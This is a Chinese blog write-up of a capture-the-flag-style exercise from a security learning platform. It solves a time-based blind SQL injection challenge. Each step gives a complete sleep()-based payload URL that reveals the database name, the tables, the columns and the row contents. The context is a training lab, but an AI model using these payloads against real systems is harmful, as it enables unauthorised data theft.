网络信息安全学习平台---注入关第7题

网络信息安全学习平台网址:http://hackinglab.cn/
sql盲注:题目内容见平台上的第7题
我主要使用的基于时间的盲注,其它类型的盲注可自行测试
1、首先要确定数据库名的长度
输入
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin'  and if(length((SELECT concat(database())))<10,sleep(2),1)%23
查看等待时间,当为14时,等待,说明数据库名的长度为13
2、猜测数据库名
猜测第一个字符
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin'  and if(substr((SELECT concat(database())), 1,1)='0',sleep(2),1)%23
当输入测试第一个字符为r时,等待
猜测第二个字符
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin'  and if(substr((SELECT concat(database())), 2,1)='0',sleep(2),1)%23
当输入为0时,等待
......
依据猜测,数据库名为r0866cplushua

3、猜测数据库中有多少个表
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin'  and if((select count(TABLE_NAME) from information_schema.tables where table_schema=0x723038363663706C7573687561)=3,sleep(2),1)%23
经过多次测试,确认有3个表
4、猜测第一个表名的长度
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin'  and if(length((select TABLE_NAME from information_schema.tables where table_schema=0x723038363663706C7573687561 limit 0,1))=3,sleep(2),1)%23
为3
------------------------------------------------好了,明天继续猜测吧2016-4-25 23:16--------------------------------------------------
5、猜测表名
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if(substr((select TABLE_NAME from information_schema.tables where table_schema=0x723038363663706C7573687561 limit 1,1),5,1)='o',sleep(2),1)%23
.....
最后知道有log,user,motto表名
6、猜测表有多少列
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if((select count(COLUMN_NAME) from information_schema.columns where table_name=0x6D6F74746F )=3,sleep(2),1)%23
经过多次测试,表motto中有3列
7、猜测列名长度
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if(length((select COLUMN_NAME from information_schema.columns where table_name=0x6D6F74746F limit 0,1 ))=2,sleep(2),1)%23
第一个,2个字符,第二个8个字符,第三个是5个字符
8、猜测列名
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if(substr((select COLUMN_NAME from information_schema.columns where table_name=0x6D6F74746F limit 1,1 ),1,1)='u',sleep(2),1)%23
第一个为id,第二列为username,第三列为motto
9、猜测有多少行
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if((select count(*) from motto)=4,sleep(2),1)%23
结果为4行
10、猜测内容
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if(ASCII(substr((select motto from motto limit 0,1),1,1))=109,sleep(2),1)%23

方法知道了,用sqlmap跑吧,手工测试太累了:)
  • 4
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值